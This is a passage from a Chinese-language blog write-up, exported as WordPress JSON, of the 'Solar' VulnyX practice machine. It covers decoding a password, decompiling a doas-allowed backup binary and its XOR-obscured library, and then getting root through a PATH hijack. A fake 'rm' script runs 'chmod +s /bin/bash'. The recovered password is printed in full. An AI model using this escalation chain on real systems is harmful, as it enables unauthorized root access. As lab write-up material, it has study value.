programmed\n\nD&#039;`r^9K=m54z8ywSeQcPq`M&#039;,+lZ(XhCC{@b~}&lt;*)Lrq7utmrqji\/mfN+ihgfe^F\\&quot;C_^]\\[Tx;WPOTMqp3INGLKDhHA@d&#039;CB;:9]=&lt;;:3y76\/S321q\/.-,%Ij&quot;&#039;&amp;}C{c!x&gt;|^zyr8vuWmrqjoh.fkjchgf_^$\\[ZY}W\\UTx;WPOTSLp3INMLEJCg*@dDC%A@?8\\}5Yzy1054-,P*)(&#039;&amp;J$)(!~}C{zy~w=^zsxwpun4rqjih.leMiba`&amp;^F\\&quot;CB^]Vzg<\/code><\/pre>\n<p>\u8bf4\u662f\u88ab\u7f16\u7a0b\u8fc7\u7684\u3002\u3002\u3002\u4ec0\u4e48\u5947\u5947\u602a\u602a\u7684\u7f16\u7a0b\u8bed\u8a00\u3002\u3002\u3002\u3002\u3002\u67e5\u4e00\u4e0b\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459524.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459524.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260103141904635\" style=\"zoom:50%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459525.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459525.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260103141926894\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u6709\u70b9\u50cf\uff0c\u770b\u4e00\u4e0b\u662f\u5426\u53ef\u4ee5\u8fdb\u884c\u63d0\u53d6\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459526.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459526.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260103142010813\" style=\"zoom:50%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459527.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459527.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260103142034811\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u62ff\u5230\u5bc6\u7801\uff01\uff01\uff01\uff01<\/p>\n<pre><code class=\"language-bash\">My password: tk8QaHUi3XaMLYoP1BpZ<\/code><\/pre>\n<p>\u770b\u4e00\u4e0b\u5bc6\u7801\u5bf9\u4e0d\u5bf9\uff0c\u53d1\u73b0\u65e0\u56de\u663e\uff0c\u6beb\u65e0\u7591\u95ee\u662f\u5bf9\u7684\uff01\uff01\uff01\uff01\u5c1d\u8bd5\u6267\u884c<code>doas buckup<\/code>\uff0c\u67e5\u770b\u4e86\u4e00\u4e0b\u53d1\u73b0\u662f\u4e8c\u8fdb\u5236\u6587\u4ef6\uff1a<\/p>\n<pre><code class=\"language-bash\">(remote) julian@solar:\/home\/julian$ doas -u root \/usr\/local\/bin\/backups \ndoas (julian@solar) password: \nUsage: \/usr\/local\/bin\/backups &lt;database_name&gt;\n\n(remote) julian@solar:\/home\/julian$ cd \/tmp\n\n(remote) julian@solar:\/tmp$ touch nothing.sql\n\n(remote) julian@solar:\/tmp$ doas -u root \/usr\/local\/bin\/backups nothing.sql \ndoas (julian@solar) password: \nInvalid database name. Ensure it contains only letters, numbers, and underscores, and is between 1 and 64 characters long.<\/code><\/pre>\n<p>\u4e0b\u8f7d\u5230\u672c\u5730\u53cd\u7f16\u8bd1\u4e00\u4e0b\u770b\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-c\">int __cdecl main(int argc, const char **argv, const char **envp)\n{\n  int result; \/\/ eax\n  char name; \/\/ [rsp+10h] [rbp-80h]\n  unsigned int (__fastcall *v5)(const char *, const char *); \/\/ [rsp+38h] [rbp-58h]\n  char file; \/\/ [rsp+40h] [rbp-50h]\n  char v7[12]; \/\/ [rsp+5Ch] [rbp-34h]\n  void *handle; \/\/ [rsp+68h] [rbp-28h]\n  const char *v9; \/\/ [rsp+70h] [rbp-20h]\n  const char *v10; \/\/ [rsp+78h] [rbp-18h]\n\n  if ( argc == 2 )\n  {\n    v10 = argv[1];\n    if ( (unsigned __int8)validate_db_name(v10, argv, envp) ^ 1 )\n    {\n      fwrite(\n        &quot;Invalid database name. Ensure it contains only letters, numbers, and underscores, and is between 1 and 64 characters long.\\n&quot;,\n        1uLL,\n        0x7BuLL,\n        _bss_start);\n      result = 1;\n    }\n    else\n    {\n      v9 = &quot;\/var\/www\/sunfriends.nyx\/database.sql.gz&quot;;\n      decode_and_xor(&quot;05000b0b080a021c19471a06&quot;, &amp;file, 105LL);\n      handle = dlopen(&amp;file, 1);\n      if ( handle )\n      {\n        decode_and_xor(&quot;0a1b0c081d0c360a0604191b0c1a1a0c0d360b080a021c19&quot;, &amp;name, 105LL);\n        v5 = (unsigned int (__fastcall *)(const char *, const char *))dlsym(handle, &amp;name);\n        *(_QWORD *)&amp;v7[4] = dlerror();\n        if ( *(_QWORD *)&amp;v7[4] )\n        {\n          fwrite(&quot;Error finding symbol.\\n&quot;, 1uLL, 0x16uLL, _bss_start);\n          dlclose(handle);\n          result = 1;\n        }\n        else\n        {\n          *(_QWORD *)v7 = v5(v10, v9);\n          if ( *(_DWORD *)v7 )\n          {\n            dlclose(handle);\n            result = 1;\n          }\n          else\n          {\n            printf(&quot;Backup completed successfully: %s\\n&quot;, v9, argv);\n            dlclose(handle);\n            result = 0;\n          }\n        }\n      }\n      else\n      {\n        fwrite(&quot;Error loading library.\\n&quot;, 1uLL, 0x17uLL, _bss_start);\n        result = 1;\n      }\n    }\n  }\n  else\n  {\n    fprintf(_bss_start, &quot;Usage: %s &lt;database_name&gt;\\n&quot;, *argv, argv);\n    result = 1;\n  }\n  return result;\n}<\/code><\/pre>\n<p>\u770b\u5230\u4e86\u5b57\u6bb5<code>\/var\/www\/sunfriends.nyx\/database.sql.gz<\/code>\uff0c\u770b\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Solar]\n\u2514\u2500$ gunzip -c database.sql.gz               \n-- MariaDB dump 10.19  Distrib 10.11.6-MariaDB, for debian-linux-gnu (x86_64)\n--\n-- Host: localhost    Database: solar_energy_db\n-- ------------------------------------------------------\n-- Server version       10.11.6-MariaDB-0+deb12u1\n\n\/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT *\/;\n\/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS *\/;<\/code><\/pre>\n<p>\u83b7\u53d6\u5230\u4e86\u6570\u636e\u5e93\u540d\uff0c\u5c1d\u8bd5\u4e00\u4e0b<code>solar_energy_db<\/code>\uff1a<\/p>\n<pre><code class=\"language-bash\">(remote) julian@solar:\/tmp$ doas -u root \/usr\/local\/bin\/backups solar_energy_db\ndoas (julian@solar) password: \nBackup completed successfully: \/var\/www\/sunfriends.nyx\/database.sql.gz<\/code><\/pre>\n<p>\u4f3c\u4e4e\u8d1f\u8d23\u521b\u5efa\u4e00\u5f00\u59cb\u7684\u5907\u4efd\u6570\u636e\u5e93\u6587\u4ef6\u7684\uff0c\u770b\u770b\u8fd8\u6709\u5565\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Solar]\n\u2514\u2500$ ldd backups  \n        linux-vdso.so.1 (0x00007fcd92084000)\n        libc.so.6 =&gt; \/lib\/x86_64-linux-gnu\/libc.so.6 (0x00007fcd91e69000)\n        \/lib64\/ld-linux-x86-64.so.2 (0x00007fcd92086000)\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Solar]\n\u2514\u2500$ strings backups                                          \n\/lib64\/ld-linux-x86-64.so.2\ny       f}|PS\ndlclose\nstrlen\n__ctype_b_loc\n__libc_start_main\nstderr\nfprintf\ndlsym\ndlopen\n__cxa_finalize\ndlerror\n__isoc99_sscanf\nfwrite\nlibc.so.6\nGLIBC_2.3\nGLIBC_2.7\nGLIBC_2.2.5\nGLIBC_2.34\n_ITM_deregisterTMCloneTable\n__gmon_start__\n_ITM_registerTMCloneTable\nPTE1\nu+UH\n%2hhx\nUsage: %s &lt;database_name&gt;\nInvalid database name. Ensure it contains only letters, numbers, and underscores, and is between 1 and 64 characters long.\n\/var\/www\/sunfriends.nyx\/database.sql.gz\n05000b0b080a021c19471a06\nError loading library.\n0a1b0c081d0c360a0604191b0c1a1a0c0d360b080a021c19\nError finding symbol.\nBackup completed successfully: %s\n;*3$&quot;\nGCC: (Debian 12.2.0-14) 12.2.0\nScrt1.o\n__abi_tag\ncrtstuff.c\nderegister_tm_clones\n__do_global_dtors_aux\ncompleted.0\n__do_global_dtors_aux_fini_array_entry\nframe_dummy\n__frame_dummy_init_array_entry\nbackups.c\n__FRAME_END__\n_DYNAMIC\n__GNU_EH_FRAME_HDR\n_GLOBAL_OFFSET_TABLE_\ndlerror@GLIBC_2.34\n__libc_start_main@GLIBC_2.34\n_ITM_deregisterTMCloneTable\n_edata\n_fini\nstrlen@GLIBC_2.2.5\n__data_start\ndlopen@GLIBC_2.34\nfprintf@GLIBC_2.2.5\n__gmon_start__\n__dso_handle\n_IO_stdin_used\n__isoc99_sscanf@GLIBC_2.7\n_end\nvalidate_db_name\n__bss_start\nmain\ndlsym@GLIBC_2.34\nfwrite@GLIBC_2.2.5\n__TMC_END__\n_ITM_registerTMCloneTable\ndecode_and_xor\ndlclose@GLIBC_2.34\n__cxa_finalize@GLIBC_2.2.5\n_init\n__ctype_b_loc@GLIBC_2.3\nstderr@GLIBC_2.2.5\n.symtab\n.strtab\n.shstrtab\n.interp\n.note.gnu.property\n.note.gnu.build-id\n.note.ABI-tag\n.gnu.hash\n.dynsym\n.dynstr\n.gnu.version\n.gnu.version_r\n.rela.dyn\n.rela.plt\n.init\n.plt.got\n.text\n.fini\n.rodata\n.eh_frame_hdr\n.eh_frame\n.init_array\n.fini_array\n.dynamic\n.got.plt\n.data\n.bss\n.comment<\/code><\/pre>\n<p>\u5728\u6e90\u4ee3\u7801\u770b\u5230\u4f3c\u4e4e\u901a\u8fc7<code>XOR<\/code>\u8fdb\u884c\u52a0\u5bc6\u4e86\u4e00\u4e9b\u5b57\u6bb5\uff0c\u5c1d\u8bd5\u8fdb\u884c\u89e3\u5bc6\u4e00\u4e0b\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459528.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459528.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260103144156870\" style=\"zoom:50%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459529.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459529.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260103144355380\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u67e5\u770b\u4e00\u4e0b\u8fd9\u4e2a\u94fe\u63a5\u5e93\uff1a<\/p>\n<pre><code class=\"language-bash\">(remote) julian@solar:\/tmp$ find \/ -name libbackup.so 2&gt;\/dev\/null\n\/usr\/lib\/x86_64-linux-gnu\/libbackup.so\n\n(remote) julian@solar:\/tmp$ strings \/usr\/lib\/x86_64-linux-gnu\/libbackup.so\n__gmon_start__\n_ITM_deregisterTMCloneTable\n_ITM_registerTMCloneTable\n__cxa_finalize\ncreate_compressed_backup\nsnprintf\nsystem\nstderr\nfprintf\nlibc.so.6\nGLIBC_2.2.5\nu+UH\n\/usr\/bin\/mysqldump --databases %s &gt; \/tmp\/temp.sql &amp;&amp; \/usr\/bin\/gzip \/tmp\/temp.sql -c &gt; %s &amp;&amp; rm \/tmp\/temp.sql\nError executing mysqldump and gzip. Exit code: %d\n;*3$&quot;\nGCC: (Debian 12.2.0-14) 12.2.0\ncrtstuff.c\nderegister_tm_clones\n__do_global_dtors_aux\ncompleted.0\n__do_global_dtors_aux_fini_array_entry\nframe_dummy\n__frame_dummy_init_array_entry\nlibbackup.c\n__FRAME_END__\n_fini\n__dso_handle\n_DYNAMIC\n__GNU_EH_FRAME_HDR\n__TMC_END__\n_GLOBAL_OFFSET_TABLE_\n_init\n_ITM_deregisterTMCloneTable\nsystem@GLIBC_2.2.5\nsnprintf@GLIBC_2.2.5\ncreate_compressed_backup\nfprintf@GLIBC_2.2.5\n__gmon_start__\n_ITM_registerTMCloneTable\n__cxa_finalize@GLIBC_2.2.5\nstderr@GLIBC_2.2.5\n.symtab\n.strtab\n.shstrtab\n.note.gnu.build-id\n.gnu.hash\n.dynsym\n.dynstr\n.gnu.version\n.gnu.version_r\n.rela.dyn\n.rela.plt\n.init\n.plt.got\n.text\n.fini\n.rodata\n.eh_frame_hdr\n.eh_frame\n.init_array\n.fini_array\n.dynamic\n.got.plt\n.data\n.bss\n.comment<\/code><\/pre>\n<p>\u53d1\u73b0\u4f3c\u4e4e\u4f7f\u7528<code>rm<\/code>\u8fdb\u884c\u4e86\u64cd\u4f5c\uff0c\u5c1d\u8bd5\u52ab\u6301\u73af\u5883\u53d8\u91cf\u4ece\u800c\u6267\u884c\u9700\u8981\u6267\u884c\u7684\u547d\u4ee4\uff1a<\/p>\n<pre><code class=\"language-bash\">(remote) julian@solar:\/tmp$ chmod +x rm\n(remote) julian@solar:\/tmp$ cat rm\nchmod +s \/bin\/bash\n(remote) julian@solar:\/tmp$ export PATH=$PWD:$PATH\n(remote) julian@solar:\/tmp$ echo $PATH\n\/tmp:\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin<\/code><\/pre>\n<p>\u8fd9\u91cc\u73af\u5883\u53d8\u91cf\u548c\u5176\u4ed6wp\u4e0d\u592a\u4e00\u6837\u53ef\u80fd\u662f\u56e0\u4e3a<code>pwncat-cs<\/code>\u8fdb\u884c\u81ea\u52a8\u586b\u5145\u4e86\uff1f<\/p>\n<pre><code>(remote) julian@solar:\/tmp$ ls -la \/bin\/bash\n-rwxr-xr-x 1 root root 1265648 Mar 29  2024 \/bin\/bash\n(remote) julian@solar:\/tmp$ doas -u root \/usr\/local\/bin\/backups solar_energy_db\ndoas (julian@solar) password: \nBackup completed successfully: \/var\/www\/sunfriends.nyx\/database.sql.gz\n(remote) julian@solar:\/tmp$ ls -la \/bin\/bash\n-rwsr-sr-x 1 root root 1265648 Mar 29  2024 \/bin\/bash<\/code><\/pre>\n<p>\u6267\u884c\u6210\u529f\u4e86\uff01\uff01\uff01\uff01<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459530.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459530.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260103145732659\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u81ea\u6b64\uff0c\u8fd9\u4e2a\u8d85\u7ea7\u590d\u6742\u7684\u9776\u673a\u590d\u73b0\u7ec8\u4e8e\u7ed3\u675f\u4e86\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002<\/p>\n<h2>\u53c2\u8003<\/h2>\n<p><a href=\"https:\/\/len4m.github.io\/posts\/solar-writeup-vulnyx-en\/\">https:\/\/len4m.github.io\/posts\/solar-writeup-vulnyx-en\/<\/a><\/p>\n<p><a href=\"https:\/\/www.bilibili.com\/video\/BV1Jh6AYDE1b\/?vd_source=8981ead94b755f367ac539f6ccd37f77\">https:\/\/www.bilibili.com\/video\/BV1Jh6AYDE1b\/?vd_source=8981ead94b755f367ac539f6ccd37f77<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>(\u00b0\u30fc\u00b0\u3003)Solar \u542c\u8bf4\u8fd9\u662f\u4e00\u53f0\u8d85\u7ea7\u590d\u6742\u7684\u9776\u673a\uff0c\u597d\u4e45\u6ca1\u505a\u9776\u673a\u4e86\uff0c\u770b\u4e00\u4e0b\u8fd9\u4e2a\u9776\u673a\u6709\u591a\u590d\u6742\u3002\u3002\u3002\u3002\u3002\u3002 \u4fe1\u606f\u641c [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,21,24,18],"tags":[],"class_list":["post-928","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-misc","category-penetration-test","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/928","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=928"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/928\/revisions"}],"predecessor-version":[{"id":929,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/928\/revisions\/929"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=928"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=928"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=928"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}